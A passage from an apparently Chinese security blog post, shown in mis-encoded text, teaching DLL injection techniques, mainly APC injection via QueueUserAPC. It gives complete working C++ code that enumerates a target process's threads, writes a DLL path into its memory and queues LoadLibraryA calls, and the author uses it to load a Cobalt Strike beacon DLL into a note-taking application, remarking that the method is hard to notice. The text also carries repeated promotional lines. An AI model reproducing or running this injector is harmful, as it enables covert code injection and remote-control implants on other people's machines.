Error!\n\n");}printf("Inject Dll OK!\n\n");return 0; }因?yàn)樵赿ll注入的過程中是看不到messagebox的,所以這里我選擇cs注入進(jìn)行測(cè)試,若注入成功即可上線
首先生成一個(gè)32位的dll文件,這里跟位數(shù)有關(guān),我選擇注入的是32位的進(jìn)程,所以這里我選擇生成32位的dll
得到路徑
這里我選擇的是有道云筆記進(jìn)行注入,查看一下pid
然后把我們函數(shù)的pid改為有道云的pid
實(shí)現(xiàn)效果如下所示
APC注入
APC,全稱為Asynchronous Procedure Call,即異步過程調(diào)用,是指函數(shù)在特定線程中被異步執(zhí)行,在操作系統(tǒng)中,APC是一種并發(fā)機(jī)制。
這里去看一下msdn中異步過程調(diào)用的解釋如下
首先第一個(gè)函數(shù)
QueueUserApc: 函數(shù)作用,添加制定的異步函數(shù)調(diào)用(回調(diào)函數(shù))到執(zhí)行的線程的APC隊(duì)列中
APCproc: 函數(shù)作用: 回調(diào)函數(shù)的寫法.
往線程APC隊(duì)列添加APC,系統(tǒng)會(huì)產(chǎn)生一個(gè)軟中斷。在線程下一次被調(diào)度的時(shí)候,就會(huì)執(zhí)行APC函數(shù),APC有兩種形式,由系統(tǒng)產(chǎn)生的APC稱為內(nèi)核模式APC,由應(yīng)用程序產(chǎn)生的APC被稱為用戶模式APC。這里介紹一下應(yīng)用程序的APC,APC是往線程中插入一個(gè)回調(diào)函數(shù),但是用的APC調(diào)用這個(gè)回調(diào)函數(shù)是有條件的,如msdn所示
核心函數(shù)
QueueUserAPC
DWORD QueueUserAPC( PAPCFUNCpfnAPC, // APC function HANDLEhThread, // handle to thread ULONG_PTRdwData // APC function parameter );QueueUserAPC 函數(shù)的第一個(gè)參數(shù)表示執(zhí)行函數(shù)的地址,當(dāng)開始執(zhí)行該APC的時(shí)候,程序會(huì)跳轉(zhuǎn)到該函數(shù)地址處來執(zhí)行。第二個(gè)參數(shù)表示插入APC的線程句柄,要求線程句柄必須包含THREAD_SET_CONTEXT 訪問權(quán)限。第三個(gè)參數(shù)表示傳遞給執(zhí)行函數(shù)的參數(shù),與遠(yuǎn)線程注入類似,如果QueueUserAPC 的第一個(gè)參數(shù)為LoadLibraryA,第三個(gè)參數(shù)設(shè)置的是dll路徑即可完成dll注入。
實(shí)現(xiàn)原理
在 Windows系統(tǒng)中,每個(gè)線程都會(huì)維護(hù)一個(gè)線程 APC隊(duì)列,通過QucueUserAPC把一個(gè)APC 函數(shù)添加到指定線程的APC隊(duì)列中。每個(gè)線程都有自己的APC隊(duì)列,這個(gè) APC隊(duì)列記錄了要求線程執(zhí)行的一些APC函數(shù)。Windows系統(tǒng)會(huì)發(fā)出一個(gè)軟中斷去執(zhí)行這些APC 函數(shù),對(duì)于用戶模式下的APC 隊(duì)列,當(dāng)線程處在可警告狀態(tài)時(shí)才會(huì)執(zhí)行這些APC 函數(shù)。一個(gè)線程在內(nèi)部使用SignalObjectAndWait 、 SleepEx、WaitForSingleObjectEx、WaitForMultipleObjectsEx等函數(shù)把自己掛起時(shí)就是進(jìn)入可警告狀態(tài),此時(shí)便會(huì)執(zhí)行APC隊(duì)列函數(shù)。【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
通俗點(diǎn)來概括過程可分為以下幾步:
1)當(dāng)EXE里某個(gè)線程執(zhí)行到SleepEx()或者WaitForSingleObjectEx()時(shí),系統(tǒng)就會(huì)產(chǎn)生一個(gè)軟中斷(或者是Messagebox彈窗的時(shí)候不點(diǎn)OK的時(shí)候也能注入)。
2)當(dāng)線程再次被喚醒時(shí),此線程會(huì)首先執(zhí)行APC隊(duì)列中的被注冊(cè)的函數(shù)。
3)利用QueueUserAPC()這個(gè)API可以在軟中斷時(shí)向線程的APC隊(duì)列插入一個(gè)函數(shù)指針,如果我們插入的是Loadlibrary()執(zhí)行函數(shù)的話,就能達(dá)到注入DLL的目的。
但是想要使用apc注入也有以下兩點(diǎn)條件:
1.必須是多線程環(huán)境下
2.注入的程序必須會(huì)調(diào)用那些同步對(duì)象
每一個(gè)進(jìn)程的每一個(gè)線程都有自己的APC隊(duì)列,我們可以使用QueueUserAPC函數(shù)把一個(gè)APC函數(shù)壓入APC隊(duì)列中。當(dāng)處于用戶模式的APC被壓入到線程APC隊(duì)列后,線程并不會(huì)立刻執(zhí)行壓入的APC函數(shù),而是要等到線程處于可通知狀態(tài)(alertable)才會(huì)執(zhí)行,即只有當(dāng)一個(gè)線程內(nèi)部調(diào)用SleepEx等上面說到的幾個(gè)特定函數(shù)將自己處于掛起狀態(tài)時(shí),才會(huì)執(zhí)行APC隊(duì)列函數(shù),執(zhí)行順序與普通隊(duì)列相同,先進(jìn)先出(FIFO),在整個(gè)執(zhí)行過程中,線程并無任何異常舉動(dòng),不容易被察覺,但缺點(diǎn)是對(duì)于單線程程序一般不存在掛起狀態(tài),所以APC注入對(duì)于這類程序沒有明顯效果。【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
實(shí)現(xiàn)過程
這里的常規(guī)思路是編寫一個(gè)根據(jù)進(jìn)程名獲取pid的函數(shù),然后根據(jù)PID獲取所有的線程ID,這里我就將兩個(gè)函數(shù)集合在一起,通過自己輸入PID來獲取指定進(jìn)程的線程并寫入數(shù)組
//列出指定進(jìn)程的所有線程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {// 申請(qǐng)空間DWORD dwThreadIdListLength = 0;DWORD dwThreadIdListMaxCount = 2000;LPDWORD pThreadIdList = NULL;HANDLE hThreadSnap = INVALID_HANDLE_VALUE;pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (pThreadIdList == NULL){return FALSE;}RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));THREADENTRY32 th32 = { 0 };// 拍攝快照hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);if (hThreadSnap == INVALID_HANDLE_VALUE){return FALSE;}// 結(jié)構(gòu)的大小th32.dwSize = sizeof(THREADENTRY32);// 遍歷所有THREADENTRY32結(jié)構(gòu), 按順序填入數(shù)組BOOL bRet = Thread32First(hThreadSnap, &th32);while (bRet){if (th32.th32OwnerProcessID == th32ProcessID){if (dwThreadIdListLength >= dwThreadIdListMaxCount){break;}pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;}bRet = Thread32Next(hThreadSnap, &th32);}*pThreadIdListLength = dwThreadIdListLength;*ppThreadIdList = pThreadIdList;return TRUE; }然后是apc注入的主函數(shù),首先使用VirtualAllocEx遠(yuǎn)程申請(qǐng)內(nèi)存
lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);然后使用WriteProcessMemory把dll路徑寫入內(nèi)存
::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)再獲取LoadLibraryA的地址
PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");便利線程并插入APC,這里定義一個(gè)fail并進(jìn)行判斷,如果QueueUserAPC返回的值為NULL則線程遍歷失敗,fail的值就+1
for (int i = dwThreadIdListLength - 1; i >= 0; i--){// 打開線程HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);if (hThread){// 插入APCif (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)){fail++;}}}然后在到主函數(shù),定義dll地址
strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll");使用OpenProcess打開句柄
HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);調(diào)用之前寫好的APCInject函數(shù)實(shí)現(xiàn)APC注入
if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)){printf("Failed to inject DLL\n");return FALSE;}完整代碼如下
// APCInject.cpp : 此文件包含 "main" 函數(shù)。程序執(zhí)行將在此處開始并結(jié)束。 // #include <iostream> #include <Windows.h> #include <TlHelp32.h> using namespace std;void ShowError(const char* pszText) {char szError[MAX_PATH] = { 0 };::wsprintf(szError, "%s Error[%d]\n", pszText, ::GetLastError());::MessageBox(NULL, szError, "ERROR", MB_OK); }//列出指定進(jìn)程的所有線程 BOOL GetProcessThreadList(DWORD th32ProcessID, DWORD** ppThreadIdList, LPDWORD pThreadIdListLength) {// 申請(qǐng)空間DWORD dwThreadIdListLength = 0;DWORD dwThreadIdListMaxCount = 2000;LPDWORD pThreadIdList = NULL;HANDLE hThreadSnap = INVALID_HANDLE_VALUE;pThreadIdList = (LPDWORD)VirtualAlloc(NULL, dwThreadIdListMaxCount * sizeof(DWORD), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);if (pThreadIdList == NULL){return FALSE;}RtlZeroMemory(pThreadIdList, dwThreadIdListMaxCount * sizeof(DWORD));THREADENTRY32 th32 = { 0 };// 拍攝快照hThreadSnap = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, th32ProcessID);if (hThreadSnap == INVALID_HANDLE_VALUE){return FALSE;}// 結(jié)構(gòu)的大小th32.dwSize = sizeof(THREADENTRY32);//遍歷所有THREADENTRY32結(jié)構(gòu), 按順序填入數(shù)組BOOL bRet = Thread32First(hThreadSnap, &th32);while (bRet){if (th32.th32OwnerProcessID == th32ProcessID){if (dwThreadIdListLength >= dwThreadIdListMaxCount){break;}pThreadIdList[dwThreadIdListLength++] = th32.th32ThreadID;}bRet = Thread32Next(hThreadSnap, &th32);}*pThreadIdListLength = dwThreadIdListLength;*ppThreadIdList = pThreadIdList;return TRUE; } BOOL APCInject(HANDLE hProcess, CHAR* wzDllFullPath, LPDWORD pThreadIdList, DWORD dwThreadIdListLength) {// 申請(qǐng)內(nèi)存PVOID lpAddr = NULL;SIZE_T page_size = 4096;lpAddr = ::VirtualAllocEx(hProcess, nullptr, page_size, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);if (lpAddr == NULL){ShowError("VirtualAllocEx - Error\n\n");VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);CloseHandle(hProcess);return FALSE;}// 把Dll的路徑復(fù)制到內(nèi)存中if (FALSE == ::WriteProcessMemory(hProcess, lpAddr, wzDllFullPath, (strlen(wzDllFullPath) + 1) * sizeof(wzDllFullPath), nullptr)){ShowError("WriteProcessMemory - Error\n\n");VirtualFreeEx(hProcess, lpAddr, page_size, MEM_DECOMMIT);CloseHandle(hProcess);return FALSE;}// 獲得LoadLibraryA的地址PVOID loadLibraryAddress = ::GetProcAddress(::GetModuleHandle("kernel32.dll"), "LoadLibraryA");// 遍歷線程, 插入APCfloat fail = 0;for (int i = dwThreadIdListLength - 1; i >= 0; i--){// 打開線程HANDLE hThread = ::OpenThread(THREAD_ALL_ACCESS, FALSE, pThreadIdList[i]);if (hThread){// 插入APCif (!::QueueUserAPC((PAPCFUNC)loadLibraryAddress, hThread, (ULONG_PTR)lpAddr)){fail++;}// 關(guān)閉線程句柄::CloseHandle(hThread);hThread = NULL;}}printf("Total Thread: %d\n", dwThreadIdListLength);printf("Total Failed: %d\n", (int)fail);if ((int)fail == 0 || dwThreadIdListLength / fail > 0.5){printf("Success to Inject APC\n");return TRUE;}else{printf("Inject may be failed\n");return FALSE;} } int main() {ULONG32 ulProcessID = 0;printf("Input the Process ID:");cin >> ulProcessID;CHAR wzDllFullPath[MAX_PATH] = { 0 };LPDWORD pThreadIdList = NULL;DWORD dwThreadIdListLength = 0;#ifndef _WIN64strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #else // _WIN64strcpy_s(wzDllFullPath, "C:\\Users\\61408\\Desktop\\artifact.dll"); #endifif (!GetProcessThreadList(ulProcessID, &pThreadIdList, &dwThreadIdListLength)){printf("Can not list the threads\n");exit(0);}//打開句柄HANDLE hProcess = OpenProcess(PROCESS_VM_OPERATION | PROCESS_VM_WRITE, FALSE, ulProcessID);if (hProcess == NULL){printf("Failed to open Process\n");return FALSE;}//注入if (!APCInject(hProcess, wzDllFullPath, pThreadIdList, dwThreadIdListLength)){printf("Failed to inject DLL\n");return FALSE;}return 0; }之前說過我沒有使用進(jìn)程名 -> pid的方式,而是直接采用手動(dòng)輸入的方式,通過cin >> ulProcessID將接收到的參數(shù)賦給ulProcessID
這里可以選擇寫一個(gè)MessageBox的dll,這里我直接用的是cs的dll,演示效果如下所示
最后
關(guān)注私我獲取【網(wǎng)絡(luò)安全學(xué)習(xí)資料·攻略】
總結(jié)
以上是生活随笔為你收集整理的【安全技术】关于几种dll注入方式的学习的全部內(nèi)容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: SQLite 数据库注入总结
- 下一篇: 【安全实战】红队攻防技术